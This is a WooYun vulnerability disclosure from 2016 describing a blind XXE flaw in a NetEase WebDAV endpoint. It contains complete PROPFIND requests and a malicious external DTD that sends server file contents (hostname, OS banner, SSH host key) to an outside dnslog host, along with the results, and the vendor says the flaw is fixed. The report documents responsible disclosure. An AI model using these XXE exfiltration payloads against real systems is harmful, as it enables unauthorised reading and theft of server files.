当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0203048

漏洞标题:利用网易一处XXE盲注演示如何通过cloudeye配合实现文件内容读取

相关厂商:网易

漏洞作者: sanwenkit

提交时间:2016-04-28 16:30

修复时间:2016-06-13 17:10

公开时间:2016-06-13 17:10

漏洞类型:应用配置错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-28: 细节已通知厂商并且等待厂商处理中
2016-04-29: 厂商已经确认,细节仅向厂商公开
2016-05-09: 细节向核心白帽子及相关领域专家公开
2016-05-19: 细节向普通白帽子公开
2016-05-29: 细节向实习白帽子公开
2016-06-13: 细节向公众公开

简要描述:

野生xml外部实体注入

详细说明:

地址:

http://106.2.32.66:8080/webdav/


IP归属地:

QQ图片20160428151051.png


存在一处webdav目录,支持通过PROPFIND方式提交xml结构请求
构造xxe测试payload:

PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtz3zkd [
<!ENTITY % dtd SYSTEM "http://66ae2b.dnslog.info/">
%dtd;]>
<propfind xmlns="DAV:"><allprop/></propfind>


cloudeye apache日志:

QQ图片20160428144554.png


response返回数据:

<?xml version="1.0" encoding="utf-8" ?>
<multistatus xmlns="DAV:"><response><href>/webdav/</href>
<propstat><prop><creationdate>2015-07-13T12:13:57Z</creationdate>
<displayname><![CDATA[]]></displayname>
<resourcetype><collection/></resourcetype>
<source></source>
<supportedlock><lockentry><lockscope><exclusive/></lockscope><locktype><write/></locktype></lockentry><lockentry><lockscope><shared/></lockscope><locktype><write/></locktype></lockentry></supportedlock>
</prop>
<status>HTTP/1.1 200 OK</status>
</propstat>
</response>
</multistatus>


证明解析xml时尝试引用了外部资源,存在XXE漏洞

漏洞证明:

后续尝试构造xml请求获取回显失败,考虑继续通过cloudeye获取blind xxe回显结果。
创建一个获取回显结果的dtd文件:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://66ae2b.dnslog.info/?xml1=%payload;'>">
%all;


调用地址:http://*.*.*.*:8080/xml/evil.dtd
再次构造请求payload读取hostname:

PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % payload SYSTEM "file:///proc/sys/kernel/hostname">
<!ENTITY % dtd SYSTEM "http://*.*.*.*:8080/xml/evil.dtd">
%dtd;
%send;
]>
<propfind xmlns="DAV:"><allprop/></propfind>


cloudeye apache日志:

QQ图片20160428145627.png


获取的hostname为:classa-popoatispam1,貌似是网易popo的反垃圾邮件系统
由于读取带有换行符、#、<、>等特殊符号文件内容时,会破坏xml语法结构,导致payload无法正常解析,所以还做不到任意文件读取,可以尝试寻找base64、urlencode编码方法来解决,反正我是没有搞定/(ㄒoㄒ)/~~
但是也可以读到好多有价值的内容,比如读取/etc/issue.net:

PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % payload SYSTEM "file:///etc/issue.net">
<!ENTITY % dtd SYSTEM "http://*.*.*.*:8080/xml/evil.dtd">
%dtd;
%send;
]>
<propfind xmlns="DAV:"><allprop/></propfind>


结果为:Debian%20GNU/Linux%207

QQ图片20160428150725.png


读取/etc/ssh/ssh_host_rsa_key.pub:

PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % payload SYSTEM "file:///etc/issue.net">
<!ENTITY % dtd SYSTEM "http://*.*.*.*:8080/xml/evil.dtd">
%dtd;
%send;
]>
<propfind xmlns="DAV:"><allprop/></propfind>


结果为:ssh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABAQCcdWadpFCGUL9soWpo7KIc4/WlcwkcvqOeMfnCS4sSmT+fsQ1FMY+h6Ab+xQrvrhp4ufIN/iR92SMeIYLCxg+DSIXKdxKob9luJKdF/zl4UY/qTmRaQaAPlAgZsPHnBMKT5BW08ZMX+NzH8jQQx6xHCkx4Bqom88NMfePN0ydYwGzehS/7oh0s9JYgo8knTJ6eke7y/ohtzMLjCoBQHfAOTtyRPoFSyfc2ksU/rZOvAPteQvmhyc1geAmngcGV0eabzhSmNHcrxqeKZ5wK7zOmoGeoEZrfxADCHlDbf6P+XJ3HjgDZg1iBHNH4hjkdNGkVCaxpRg9CD+V/G3Ddn0Xl%20root@classa-popoatispam1

QQ图片20160428150920.png


修复方案:

O(∩_∩)O~

版权声明:转载请注明来源 sanwenkit@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2016-04-29 17:02

厂商回复:

您好,该问题已修复,感谢您对网易产品的关注。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-04-28 17:15 | 赵健康 ( 实习白帽子 | Rank:54 漏洞数:13 | 慢慢进步!!!)

    屌屌的

  2. 2016-04-28 18:03 | sanwenkit ( 普通白帽子 | Rank:134 漏洞数:24 | 半吊子攻城师、开发狗)

    求问java环境中能不能实现文件内容转码?类似"php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini"